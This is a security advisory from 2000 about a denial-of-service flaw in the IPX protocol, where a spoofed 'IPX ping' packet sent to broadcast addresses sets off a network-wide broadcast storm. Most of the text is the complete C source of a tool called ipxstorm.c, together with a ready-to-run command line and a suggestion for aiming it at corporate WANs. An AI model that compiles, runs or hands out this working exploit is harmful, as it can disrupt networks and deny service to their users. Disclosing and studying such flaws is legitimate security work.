COMMAND

    IPX

SYSTEMS AFFECTED

    Read advisory, but those with IPX for sure

PROBLEM

    Jacek Lipkowski found following.   The IPX protocol has  samething
    called IPX  ping.   Sending a  packet to  socket 0x456 to anything
    supporting ipx causes a response to  be sent back.  If you  send a
    packet with source and  destination addresses set to  the ethernet
    broadcast address and source  and destination socket set  to 0x456
    everything supporting ipx sends  a reply to the  broadcast address
    (and after that they start talking to each other).  The storm ends
    when all ipx stacks die off (it can last a few minutes on a  small
    network up to probably an half hour on a large network).  You  can
    also set the source and  destination networks to have a  broadcast
    storm between  them (probably  a killer  on large  corporate WANs,
    but remember to set the  destination address to the router  of the
    destination network.

    This is really an old school DoS (kind of like sending udp packets
    with the source=destination=ip  broadcast address and  setting the
    ports to echo or chargen), only applied to ipx, so it should  have
    been fixed by now.

    Below is  some code  used to  test this  under linux  (it can only
    spoof 802.2 and 802.3 packets, add other types if you wish).  It's
    best  to  set  all  addresses  to  broadcast and ipx networks to 0
    (local ipx network) for starters  and fire off tcpdump to  see the
    fun begin.

    Windows  9x  seems  to  be  vulnerable,  nt  doesn't, probably dos
    clients  running  netx  or  vlm  should  be  affected as well (not
    tested).

    /* ipxstorm.c copyright by Jacek Lipkowski <sq5bpf@andra.com.pl>
       released 02.VI.2000
    
       compiles under linux 2.2 with libc6
     (probably the #includes will need changing for libc5)
    
       This program demonstrates how a spoofed "ipx ping" packet can
       start a broadcast storm on a network with machines that respond to it.
    
       usage:
    
       ./ipxstorm hwsaddr hwdaddr ipxsaddr ipxsnet ipxdaddr ipxdnet packet_type
    
       hwsaddr  - ethernet source address
       hwdaddr  - ethernet destination address
       ipxsaddr - ipx source address
       ipxdaddr - ipx destination address
       ipxsnet  - ipx source network
       ipxdnet  - ipx destination network
       packet_type - the IPX packet type - currently 802.2 and 802.3
       is implemented (don't have the time to do ethernet_ii or snap)
    
       In IPX if network==0 then it's the local network, so you're probably
       interested in:
    ./ipxstorm ff:ff:ff:ff:ff:ff ff:ff:ff:ff:ff:ff ff:ff:ff:ff:ff:ff 0 ff:ff:ff:ff:ff:ff 0 802.3
    
    rant #1: the same type of vulnerabilities have been present in udp
    (like the udp echo/chargen storms) - why didn't someone fix this ?
    
    rant #2: why do switches let packets with source address == broadcast out?
    
    suggestion #1: set the hwsaddr and ipxsaddr to your mac address and run
    tcpdump for a nice way to enumerate ipx devices on your network
    
    suggestion #2: could someone add ipx support for libnet?
    
    i know that this code is sloppy :)
    
    use this at your own risk...
    
    */
    
    
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <sys/time.h>
    #include <netinet/in.h>
    #include <netdb.h>
    #include <string.h>
    #include <signal.h>
    #include <stdio.h>
    #include <arpa/inet.h>
    #include <linux/socket.h>
    #include <netinet/ip.h>
    #include <netinet/tcp.h>
    #include <netinet/if_ether.h>
    #include <linux/if.h>
    #include <linux/sockios.h>
    #include <stdlib.h>
    
    char pack802_3[] =
      "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x48\xff\xff"
      "\x00\x48\x00\x04\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\x04\x56"
      "\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\x04\x56\x00\x00\x00\x00"
      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
      "\x00\x00\x00\x00\x00\x00";
    
    char pack802_2[] =
      "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x30\xe0\xe0"
      "\x03\xff\xff\x00\x2d\x00\x04\x00\x00\x00\x00\xff\xff\xff\xff\xff"
      "\xff\x04\x56\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\x04\x56\x00"
      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
    
    
    
    parse_eth_addr (char *string[], unsigned char *dupa)
    {
      char *ptr;
      int ii = 0;
      unsigned char ad[6];
      unsigned long dd;
    
      ptr = strtok ((char *) string, ":");
      ad[ii] = strtol (ptr, (char **) NULL, 16);
    
      while ((ptr = strtok (0, ":")) && (ptr != 0))
        {
          ii++;
          dd = (unsigned char) strtoul (ptr, (char **) NULL, 16);
          ad[ii] = dd;
        }
      memcpy (dupa, &ad, 6);
    }
    
    parse_net_addr (char *string, unsigned char *dupa)
    {
      unsigned long ii;
      ii = htonl (strtoul (string, (char **) NULL, 16));
      memcpy (dupa, &ii, 4);
    }
    
    
    see_addr (char *dd[])
    {
      unsigned char addr[6];
      memcpy (&addr, dd, 6);
      printf ("%2.2x:%2.2x:%2.2x:%2.2x:%2.2x:%2.2x", addr[0], addr[1], addr[2],
	      addr[3], addr[4], addr[5]);
    }
    
    
    see_net (unsigned char *dd[])
    {
      unsigned char tnet[6];
      memcpy (&tnet, dd, 4);
      printf ("%2.2x%2.2x%2.2x%2.2x", tnet[0], tnet[1], tnet[2], tnet[3]);
    }
    
    /* ripped from linsniffer.c */
    int
    openintf (char *d)
    {
      int fd;
      struct ifreq ifr;
      int s;
      fd = socket (AF_INET, SOCK_PACKET, htons (ETH_P_ALL));
      if (fd < 0)
        {
          perror ("cant get SOCK_PACKET socket");
          exit (0);
        }
      strcpy (ifr.ifr_name, d);
      s = ioctl (fd, SIOCGIFFLAGS, &ifr);
      if (s < 0)
        {
          close (fd);
          perror ("cant get flags");
          exit (0);
        }
    //   ifr.ifr_flags |= IFF_PROMISC;
      s = ioctl (fd, SIOCSIFFLAGS, &ifr);
    //   if(s < 0) perror("cant set promiscuous mode");
      return fd;
    }
    
    
    main (int argc, char *argv[])
    {
      int s;
      int x;
      unsigned char buf[2000];
      int z;
      struct sockaddr sa;
    
      char hwsaddr[40];
      char hwdaddr[6];
      char ipxsaddr[16];
      char ipxdaddr[6];
      char ipxsnet[4];
      char ipxdnet[4];
      int ok = 0;
    
      if (argc < 8)
        {
          printf
	    ("ipxstorm hwsaddr hwdaddr ipxsaddr ipxsnet ipxdaddr ipxdnet [802.3|802.2]\n");
          exit (1);
        }
    
      parse_eth_addr (argv[1], (char *) &hwsaddr);
      printf ("ether source address : ");
      see_addr ((char *) &hwsaddr);
      printf ("\n");
    
    
      parse_eth_addr (argv[2], (char *) &hwdaddr);
      printf ("ether dest address   : ");
      see_addr ((char *) &hwdaddr);
      printf ("\n");
    
      parse_eth_addr (argv[3], (char *) &ipxsaddr);
      parse_net_addr (argv[4], (char *) &ipxsnet);
      printf ("ipx source address   : ");
      see_addr ((char *) &ipxsaddr);
      printf (" | ");
      see_net ((char *) &ipxsnet);
      printf ("\n");
    
    
      parse_eth_addr (argv[5], (char *) &ipxdaddr);
      parse_net_addr (argv[6], (char *) &ipxdnet);
      printf ("ipx dest address     : ");
      see_addr ((char *) &ipxdaddr);
      printf (" | ");
      see_net ((char *) &ipxdnet);
      printf ("\n");
    
      s = openintf ("eth0");
      memset (&sa, 0, sizeof (sa));
      strncpy (sa.sa_data, "eth0", sizeof (sa.sa_data));
    
      if (strcmp (argv[7], "802.3") == 0)
        {
          ok = 1;
          memcpy (&pack802_3, &hwdaddr, 6);
          memcpy ((char *) &pack802_3 + 6, &hwsaddr, 6);
          memcpy ((char *) &pack802_3 + 0x18, &ipxdaddr, 6);
          memcpy ((char *) &pack802_3 + 0x24, &ipxsaddr, 6);
          memcpy ((char *) &pack802_3 + 0x14, &ipxdnet, 4);
          memcpy ((char *) &pack802_3 + 0x20, &ipxsnet, 4);
          z = sendto (s, &pack802_3, sizeof (pack802_3), 0, &sa, sizeof (sa));
        }
    
      if (strcmp (argv[7], "802.2") == 0)
        {
          ok = 1;
          memcpy (&pack802_2, &hwdaddr, 6);
          memcpy ((char *) &pack802_2 + 6, &hwsaddr, 6);
          memcpy ((char *) &pack802_2 + 0x1b, &ipxdaddr, 6);
          memcpy ((char *) &pack802_2 + 0x27, &ipxsaddr, 6);
          memcpy ((char *) &pack802_2 + 0x17, &ipxdnet, 4);
          memcpy ((char *) &pack802_2 + 0x23, &ipxsnet, 4);
          z = sendto (s, &pack802_2, sizeof (pack802_2), 0, &sa, sizeof (sa));
        }
      if (!ok)
        printf ("unknown ipx packet type (hint: implement it)\n");
      close (s);
      exit (0);
    
    }

SOLUTION

    Nothing yet.